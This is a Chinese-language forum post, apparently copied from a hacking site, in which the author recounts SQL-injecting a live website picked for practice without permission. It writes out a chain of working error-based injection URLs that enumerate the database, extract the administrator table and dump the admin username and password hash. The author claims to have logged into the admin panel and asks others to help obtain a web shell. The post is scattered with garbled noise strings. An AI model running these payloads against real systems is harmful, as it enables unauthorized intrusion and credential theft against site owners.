近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。6 O" c! y- ~# h a8 \
首先找到网站后台,加了个admin,后台出来了 6 B. M$ A. K0 {1 P" O7 H' e1 U( s; t
6 z& i8 G2 M8 @6 A* C/ R0 _( E) I
9 u {( w& J# A" \9 f# C; B然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
4 ~, U% }( n. C7 m l9 p) ^http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—% Z5 D2 K! J) b" d. X1 f
6 L- H1 ]3 w+ h! u2 `/ u8 S
% @$ z. W% M {
9 \* J% b3 s6 V$ m; a- C% d' o5 [. Q- c: I/ G9 u+ Y9 i$ m
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
7 F6 N; K9 }! V* m
/ d4 @9 R3 O" g: Y D! F E/ s* D. h8 z% Q) R, ^/ ~
, \, u2 c- u( h0 W$ m% E: r; L. y! s7 w8 p5 ~( T8 r. `$ L- M. o
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
7 ^. h- _3 O% Z- |2 U" z `3 ?2 I+ d6 G4 }
0 _! V5 N9 I. V
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg7 Z; Z3 I1 S* {, F- h* {
9 z, H3 c9 s2 I2 a2 a+ V
9 n- @8 o8 I: f& g
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
" U0 @) b! D# a4 A5 m. z4 n# V: T9 {! c. [/ G& O9 {9 X1 K
3 E- q5 t7 m3 o* l1 \# ~
0 N5 T" _) v, V2 Q$ k 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--. f5 u1 Q R+ C( N# f0 L! [
1 e/ A5 D$ l- t6 x( H
: d) [$ M; f) j5 H, x$ B
& Z4 o: z- y9 E3 V0 D 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |